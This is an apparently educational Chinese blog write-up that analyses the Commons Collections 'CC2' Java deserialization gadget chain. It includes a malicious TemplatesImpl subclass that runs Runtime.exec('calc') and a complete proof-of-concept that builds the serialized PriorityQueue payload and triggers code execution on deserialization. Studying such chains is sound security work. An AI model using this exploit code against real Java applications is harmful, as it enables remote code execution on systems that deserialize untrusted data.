00x1環境搭建
--jdk 1.8
--用maven在pom文件中添加cc庫依賴
添加上下面:
<dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency> </dependencies>
00x2前置知識
Java cc鏈是什么,cc指的是commons-collections依賴庫。它添加了許多強大的數據結構類型並且實現了各種集合工具類。
它被廣泛的用於Java應用開發中。
PriorityQueue
PriorityQueue優先級隊列是基於優先級堆的一種特殊隊列,會給每個元素定義出”優先級“,取出數據的時候會按照優先級來取。
默認優先級隊列會根據自然順序來對元素排序。
而想要放入PriorityQueue的元素,就必須實現Comparable接口,PriorityQueue會根據元素的排序順序決定出隊的優先級。
如果沒有實現 Comparable 接口,PriorityQueue 還允許我們提供一個 Comparator 對象來判斷兩個元素的順序。
可以看到它繼承了AbstractQueue抽象類並且實現了Serializable接口,這就說明它支持反序列化
再來看看它重寫的readObject()方法
可以看到上面的方法會調用ObjectInputStream 的實例化對象s把queue中的數據進行反序列化
最后再用heapify();來對數據排序,再跟進一下heapify()方法
該方法調用siftDown()方法
在 comparator 屬性不為空的情況下,調用 siftDownUsingComparator()
方法
如果為空前面也提過了會創建Comparable比較器並調用compare()方法來排序
這樣反序列化后的優先級隊列就有了順序。
TransformingComparator
這是觸發漏洞的關鍵點,把Transformer執行點和PriorityQueue觸發點結合起來。
用Transformer來裝飾一個Comparator(比較器),通俗點說就是先把值給Transformer轉換,再傳遞給Comparator比較。
初始化配置 Transformer和Comparator
compare()方法會先用this.transformer.transform(obj1)方法來轉換兩個要比較的值
然后再調用compare()方法比較。
TemplatesImpl
TemplatesImpl 的屬性 _bytecodes
存儲了類字節碼
TemplatesImpl 類的部分方法可以使用這個類字節碼去實例化這個類,這個類的父類需是 AbstractTranslet。
所以我們構造的惡意類TestTemplateslmpl里面有寫到,該類extend AbstractTranslet:
在這個類的無參構造方法或靜態代碼塊中寫入惡意代碼,再借 TemplatesImpl 之手實例化這個類觸發惡意代碼。
00x3漏洞利用分析
先來看看構造的惡意類TestTemplatesImpl:
package cc2; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class TestTemplatesImpl extends AbstractTranslet { public TestTemplatesImpl() { super(); try { Runtime.getRuntime().exec("calc"); }catch (Exception e){ e.printStackTrace(); } } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
這里的TestTemplatesImpl()方法會取執行彈計算器命令
核心代碼poc,這是網上找的一個poc
package cc2; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.PriorityQueue; public class Poc { public static void main(String[] args) throws Exception { //構造惡意類TestTemplatesImpl並轉換為字節碼 ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.getCtClass("cc2.TestTemplatesImpl"); byte[] bytes = ctClass.toBytecode(); System.out.println(bytes); //反射創建TemplatesImpl Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{}); Object TemplatesImpl_instance = constructor.newInstance(); //將惡意類的字節碼設置給_bytecodes屬性 Field bytecodes = aClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(TemplatesImpl_instance, new byte[][]{bytes}); //設置屬性_name為惡意類名 Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(TemplatesImpl_instance, "TestTemplatesImpl"); //構造利用鏈 InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null); TransformingComparator transformer_comparator = new TransformingComparator(transformer); //觸發漏洞 PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); //設置comparator屬性 Field field = queue.getClass().getDeclaredField("comparator"); field.setAccessible(true); field.set(queue, transformer_comparator); //設置queue屬性 field = queue.getClass().getDeclaredField("queue"); field.setAccessible(true); //隊列至少需要2個元素 Object[] objects = new Object[]{TemplatesImpl_instance, TemplatesImpl_instance}; field.set(queue, objects); //序列化 ---> 反序列化 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object object = ois.readObject(); } }
來逐步分析
這里是用了javassist動態構造了我們惡意類的字節碼,當然也可以直接編譯成class文件,然后用二進制字節碼來存儲
之前學習fastjson反序列化的時候就是利用的TenplatesImpl已經詳細分析過了,其中的_bytecodes屬性和defineTransletClasses()方法。
這里是用ClassPool 和CtClass來生成惡意類的字節碼
我們反射創建TemplatesImpl類,這沒什么好說的,反射獲取到了TemplatesImpl_instance對象作為TemplatesImpl類的實例化
通過Field來獲取_bytecodes屬性,這里調用的getDeclaredField()方法,並設置setAccessible(true);能獲取到所有屬性包括Privatie的
獲取到_bytecodes屬性后把我們生成的惡意類字節碼bytes給set賦值到里面去
bytecodes.set(TemplatesImpl_instance, new byte[][]{bytes});
之前分析過想調用到defineTransletClasses()方法就要保證 _name不為空,getTransletInstance()用defineTransletClasses()來加載字節碼生成類
並且下面語句實例化惡意類
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
getTransletInstance()會去調用defineTransletClasses(),又會繼續調用ClassLoader的defineClass來加載我們的字節碼(這到ClassLoader已經底層類加載了)來生成惡意類
loader.defineClass(_bytecodes[i]);
所以接下來的poc是設置_name為我們的惡意類名,保證它不為空
通過ALT+F7 getTransletInstance()方法找到了在TemplatesImpl類中有一個newTransformerImpl()方法內部調用了getTransletInstance()方法能成功調用
那么再來看看這個newTransformerImpl()方法是什么
它會返回一個transformer,怎么調用這個方法呢?
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }
這里在網上找到:InvokerTransformer類中有一個transform()方法會根據傳入的 iMethodName,iParamTypes,iArgs這三個成員屬性來執行class對象的某個方法
並且這三個屬性是根據InvokerTransformer類的構造傳入的
然后通過InvokerTransformer類的transform()方法來調用newTransformerImpl()方法。
因此我們需要實現Transform和Serializable接口的類,這就是前面前置知識提到的TransformingComparator類了,他是滿足的。
也就有了poc中的通過方法名newTransformerImpl()也就是我們想要調用到的方法
通過 InvokerTransformer類來獲取到,這里可控屬性transformer
將InvokerTransformer傳遞給TransformingComparator
現在鏈子以及構建好了,需要找到方法讓它觸發
這里需要的方法是既實現了Serializeable接口也就是重寫了readObject()方法的,又要使用Comparator比較器的。
那么就是我們前面所提到的PriorityQueue集合了!!
該隊列的comparator屬性我們可以指定成TransformingComparator比較器的,這樣就可以調用TransformingComparator的compare()方法了
並且把比較對象設置成TemplatesImpl類的對象
因此我們只需要在PriorityQueue集合中添加兩個TemplatesImpl對象作為集合元素就可以觸發之前構造的利用鏈。
先實例化一個PrioritQueue對象,我們可控comparator屬性,填入兩個元素
然后設置comparator的屬性,通過Field獲取到對應的屬性,然后傳入comparator和queue屬性
注意這里因為是比較隊列至少需要兩個元素,所以我們傳入兩個TemplatesImpl_instance對象
接下來就是熟悉的序列化再反序列化出來了也就是模擬一邊數據傳輸流了
然后成功執行了我們的惡意類,造成rce
00x4總結
最后花了一個小時重新整理出來的一個完整cc2鏈調用過程,是逆序的,確實這個分析起來比較繞
參考:
https://blog.csdn.net/qq_35733751/article/details/118890261
https://su18.org/post/ysoserial-su18-2/#commonscollections2